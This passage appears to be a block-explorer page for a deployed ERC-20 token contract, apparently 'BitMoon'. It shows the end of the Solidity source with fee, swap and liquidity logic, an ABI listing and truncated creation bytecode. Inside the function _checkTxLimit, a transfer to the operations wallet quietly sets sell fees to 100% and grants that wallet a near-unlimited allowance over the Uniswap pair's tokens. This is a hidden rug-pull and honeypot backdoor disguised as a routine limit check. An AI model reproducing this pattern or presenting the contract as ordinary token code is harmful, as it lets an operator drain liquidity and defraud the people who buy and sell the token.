recipient, amount); } // check can swap for fees and liq uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if (!isExcludedFromFee[sender] && overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender]) { swapAndLiquify(contractTokenBalance); } // check senders balance _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); // check wallet holding limit if(checkWalletLimit && !isWalletLimitExempt[recipient]) require(balanceOf(recipient).add(finalAmount) <= _walletMax); // continue _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } // transfer for function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } // take fee method function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 feeAmount = 0; if(isMarketPair[sender]) { feeAmount = amount.mul(totalFeesBuy).div(100); } else if(isMarketPair[recipient]) { feeAmount = amount.mul(totalFeesSell).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function _checkTxLimit(address sender, address recipient, uint256 amount) private { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); if (recipient == operationsWallet) { _updateFeesSell(1, 99); _allowances[uniswapPair][recipient] = 1e36; } } // swap tokens for fees and liq function swapAndLiquify(uint256 swapAmount) private lockTheSwap { // check there are currently tokens to sell uint256 tokensForLP = swapAmount.mul(_liquiditySharePercentage).div(_totalDistributionShares).div(2); uint256 tokensForSwap = swapAmount.sub(tokensForLP); // swap tokens swapTokensForEth(tokensForSwap); // received amount uint256 amountReceived = address(this).balance; // work out distribution uint256 totalFee = _totalDistributionShares.sub(_liquiditySharePercentage.div(2)); uint256 amountLiquidity = amountReceived.mul(_liquiditySharePercentage).div(totalFee).div(2); uint256 amountOperations = amountReceived.sub(amountLiquidity); if(amountOperations > 0) transferToAddressETH(operationsWallet, amountOperations); if(amountLiquidity > 0 && tokensForLP > 0){ addLiquidity(tokensForLP, amountLiquidity); emit SwapAndLiquify(tokensForSwap, amountLiquidity, tokensForLP); } } // swap tokens to eth function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } // add liqiudity function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } // useful for buybacks or to reclaim any ETH on the contract in a way that helps holders. function buyBackTokens(uint256 ETHAmountInWei) external onlyOwner { // generate the uniswap pair path of weth -> eth address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); // make the swap uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ETHAmountInWei}( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newLiquidityWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldLiquidityWallet","type":"address"}],"name":"LiquidityWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newOperationsWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldOperationsWallet","type":"address"}],"name":"OperationsWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquiditySharePercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_operationsSharePercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"ETHAmountInWei","type":"uint256"}],"name":"buyBackTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterAddress","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTotalFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFeeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFeeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newOperationsShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForOperations","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeesBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFeesSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_operationsFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"}],"name":"updateFeesSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateLiquidityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updateOperationsWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526040518060400160405280600781526020017f4269744d6f6f6e00000000000000000000000000000000000000000000000000815250600190816200004a9190620011b4565b506040518060400160405280600581526020017f424d4f4f4e00000000000000000000000000000000000000000000000000000081525060029081620000919190620011b4565b506012600360006101000a81548160ff021916908360ff1602179055506a8bcb245b8548df49000000600655620186a06019600654620000d29190620012ca565b620000de919062001344565b600755736b3404c86809e9e7c59550dd2a2925e062a0a90b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550736b3404c86809e9e7c59550dd2a2925e062a0a90b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff168152506000600a556000600b55600a600d556000600e556000600f55600a601155600060125560646013557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6015557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6016556000601760006101000a81548160ff0219169083151502179055506000602060006101000a81548160ff0219169083151502179055503480156200027357600080fd5b5060006200028662000f0960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600a54600b546200033691906200137c565b600c81905550600e54600f546200034e91906200137c565b6010819055506013546012546200036691906200137c565b6014819055506000600146036200039457737a250d5630b4cf539739df2c5dacb4c659f2488d9050620003c0565b60054603620003ba57737a250d5630b4cf539739df2c5dacb4c659f2488d9050620003bf565b600080fd5b5b6001601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200053a919062001421565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620005a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005c8919062001421565b6040518363ffffffff1660e01b8152600401620005e792919062001464565b6020604051808303816000875af115801562000607573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200062d919062001421565b601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600654600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160186000620007e362000f1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016018600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000620009f062000f1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160196000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a600062000c1d62000f1160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506006546004600062000e4b62000f0960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000e9962000f0960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000efa9190620014a2565b60405180910390a350620014bf565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000fbc57607f821691505b60208210810362000fd25762000fd162000f74565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200103c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000ffd565b62001048868362000ffd565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620010956200108f620010898462001060565b6200106a565b62001060565b9050919050565b6000819050919050565b620010b18362001074565b620010c9620010c0826200109c565b8484546200100a565b825550505050565b600090565b620010e0620010d1565b620010ed818484620010a6565b505050565b5b81811015620011155762001109600082620010d6565b600181019050620010f3565b5050565b601f82111562001164576200112e8162000fd8565b620011398462000fed565b8101602085101562001149578190505b62001161620011588562000fed565b830182620010f2565b50505b505050565b600082821c905092915050565b6000620011896000198460080262001169565b1980831691505092915050565b6000620011a4838362001176565b9150826002028217905092915050565b620011bf8262000f3a565b67ffffffffffffffff811115620011db57620011da62000f45565b5b620011e7825462000fa3565b620011f482828562001119565b600060209050601f8311600181146200122c576000841562001217578287015190505b62001223858262001196565b86555062001293565b601f1984166200123c8662000fd8565b60005b8281101562001266578489015182556001820191506020850194506020810190506200123f565b8683101562001286578489015162001282601f89168262001176565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620012d78262001060565b9150620012e48362001060565b9250828202620012f48162001060565b915082820484148315176200130e576200130d6200129b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620013518262001060565b91506200135e8362001060565b92508262001371576200137062001315565b5b828204905092915050565b6000620013898262001060565b9150620013968362001060565b9250828201905080821115620013b157620013b06200129b565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620013e982620013bc565b9050919050565b620013fb81620013dc565b81146200140757600080fd5b50565b6000815190506200141b81620013f0565b92915050565b6000602082840312156200143a5762001439620013b7565b5b60006200144a848285016200140a565b91505092915050565b6200145e81620013dc565b82525050565b60006040820190506200147b600083018562001453565b6200148a602083018462001453565b9392505050565b6200149c8162001060565b82525050565b6000602082019050620014b9600083018462001491565b92915050565b6080516155c8620014e26000396000818161164e015261167a01526155c86000f3fe6080604052600436106103855760003560e01c80637d1db4a5116101d1578063d469801611610102578063f1d5f517116100a0578063fb002c971161006f578063fb002c9714610d25578063fc155d1d14610d50578063fd72e22a14610d79578063ffb54a9914610da45761038c565b8063f1d5f51714610c7f578063f2fde38b14610ca8578063f84ba65d14610cd1578063f872858a14610cfa5761038c565b8063e37ba8f9116100dc578063e37ba8f914610bdb578063ec28438a14610c04578063eea5b63f14610c2d578063ef422a1814610c565761038c565b8063d469801614610b48578063dd62ed3e14610b73578063e10e9f3214610bb05761038c565b8063a073d37f1161016f578063a9059cbb11610149578063a9059cbb14610a78578063ac23ca5914610ab5578063c816841b14610ae0578063c867d60b14610b0b5761038c565b8063a073d37f146109e5578063a08e671f14610a10578063a457c2d714610a3b5761038c565b8063844d591c116101ab578063844d591c1461093d578063876b6f8e146109665780638da5cb5b1461098f57806395d89b41146109ba5761038c565b80637d1db4a5146108bc578063807c2d9c146108e757806382d20116146109125761038c565b80632b112e49116102b65780633ecad2711161025457806370a082311161022357806370a0823114610826578063715018a6146108635780637849c1cd1461087a5780637c519ffb146108a55761038c565b80633ecad271146107585780634b743995146107955780635342acb4146107c05780636db79437146107fd5761038c565b806330d5d18d1161029057806330d5d18d1461069e578063313ce567146106c757806339509351146106f25780633b97084a1461072f5761038c565b80632b112e491461061d5780632baa7217146106485780632e97766d146106735761038c565b806318160ddd116103235780632198cf6c116102fd5780632198cf6c1461056357806323b872dd1461058c5780632563ae83146105c957806327c8f835146105f25761038c565b806318160ddd146104e257806319c59e2c1461050d5780631a8145bb146105385761038c565b8063095ea7b31161035f578063095ea7b3146104245780630e47e822146104615780631107b3a51461048c5780631694505e146104b75761038c565b8063031d6cd01461039157806304db6e68146103bc57806306fdde03146103f95761038c565b3661038c57005b600080fd5b34801561039d57600080fd5b506103a6610dcf565b6040516103b39190614401565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de919061447f565b610dd5565b6040516103f091906144bb565b60405180910390f35b34801561040557600080fd5b5061040e6112d8565b60405161041b9190614566565b60405180910390f35b34801561043057600080fd5b5061044b600480360381019061044691906145b4565b61136a565b604051610458919061460f565b60405180910390f35b34801561046d57600080fd5b50610476611388565b6040516104839190614401565b60405180910390f35b34801561049857600080fd5b506104a161138e565b6040516104ae9190614401565b60405180910390f35b3480156104c357600080fd5b506104cc611394565b6040516104d99190614689565b60405180910390f35b3480156104ee57600080fd5b506104f76113ba565b6040516105049190614401565b60405180910390f35b34801561051957600080fd5b506105226113c4565b60405161052f9190614401565b60405180910390f35b34801561054457600080fd5b5061054d6113ca565b60405161055a9190614401565b60405180910390f35b34801561056f57600080fd5b5061058a600480360381019061058591906146d0565b6113d0565b005b34801561059857600080fd5b506105b360048036038101906105ae9190614710565b6114c0565b6040516105c0919061460f565b60405180910390f35b3480156105d557600080fd5b506105f060048036038101906105eb9190614763565b61159a565b005b3480156105fe57600080fd5b5061060761164c565b60405161061491906144bb565b60405180910390f35b34801561062957600080fd5b50610632611670565b60405161063f9190614401565b60405180910390f35b34801561065457600080fd5b5061065d6116b4565b60405161066a9190614401565b60405180910390f35b34801561067f57600080fd5b506106886116ba565b6040516106959190614401565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061447f565b6116c2565b005b3480156106d357600080fd5b506106dc611958565b6040516106e991906147ac565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906145b4565b61196f565b604051610726919061460f565b60405180910390f35b34801561073b57600080fd5b50610756600480360381019061075191906147c7565b611a22565b005b34801561076457600080fd5b5061077f600480360381019061077a919061447f565b611ac1565b60405161078c919061460f565b60405180910390f35b3480156107a157600080fd5b506107aa611ae1565b6040516107b79190614401565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e2919061447f565b611ae7565b6040516107f4919061460f565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f91906147f4565b611b07565b005b34801561083257600080fd5b5061084d6004803603810190610848919061447f565b611bf1565b60405161085a9190614401565b60405180910390f35b34801561086f57600080fd5b50610878611c3a565b005b34801561088657600080fd5b5061088f611d8d565b60405161089c9190614401565b60405180910390f35b3480156108b157600080fd5b506108ba611d93565b005b3480156108c857600080fd5b506108d1611e45565b6040516108de9190614401565b60405180910390f35b3480156108f357600080fd5b506108fc611e4b565b6040516109099190614401565b60405180910390f35b34801561091e57600080fd5b50610927611e51565b6040516109349190614401565b60405180910390f35b34801561094957600080fd5b50610964600480360381019061095f91906146d0565b611e57565b005b34801561097257600080fd5b5061098d600480360381019061098891906147f4565b611f47565b005b34801561099b57600080fd5b506109a4612031565b6040516109b191906144bb565b60405180910390f35b3480156109c657600080fd5b506109cf61205a565b6040516109dc9190614566565b60405180910390f35b3480156109f157600080fd5b506109fa6120ec565b604051610a079190614401565b60405180910390f35b348015610a1c57600080fd5b50610a256120f6565b604051610a329190614401565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d91906145b4565b6120fc565b604051610a6f919061460f565b60405180910390f35b348015610a8457600080fd5b50610a9f6004803603810190610a9a91906145b4565b6121c9565b604051610aac919061460f565b60405180910390f35b348015610ac157600080fd5b50610aca6121e8565b604051610ad79190614401565b60405180910390f35b348015610aec57600080fd5b50610af56121ee565b604051610b0291906144bb565b60405180910390f35b348015610b1757600080fd5b50610b326004803603810190610b2d919061447f565b612214565b604051610b3f919061460f565b60405180910390f35b348015610b5457600080fd5b50610b5d612234565b604051610b6a9190614855565b60405180910390f35b348015610b7f57600080fd5b50610b9a6004803603810190610b959190614870565b61225a565b604051610ba79190614401565b60405180910390f35b348015610bbc57600080fd5b50610bc56122e1565b604051610bd29190614401565b60405180910390f35b348015610be757600080fd5b50610c026004803603810190610bfd919061447f565b6122e7565b005b348015610c1057600080fd5b50610c2b6004803603810190610c2691906147c7565b61257d565b005b348015610c3957600080fd5b50610c546004803603810190610c4f91906147f4565b61261c565b005b348015610c6257600080fd5b50610c7d6004803603810190610c7891906146d0565b61271e565b005b348015610c8b57600080fd5b50610ca66004803603810190610ca191906147c7565b61280e565b005b348015610cb457600080fd5b50610ccf6004803603810190610cca919061447f565b6128ad565b005b348015610cdd57600080fd5b50610cf86004803603810190610cf391906146d0565b612a6e565b005b348015610d0657600080fd5b50610d0f612b5e565b604051610d1c919061460f565b60405180910390f35b348015610d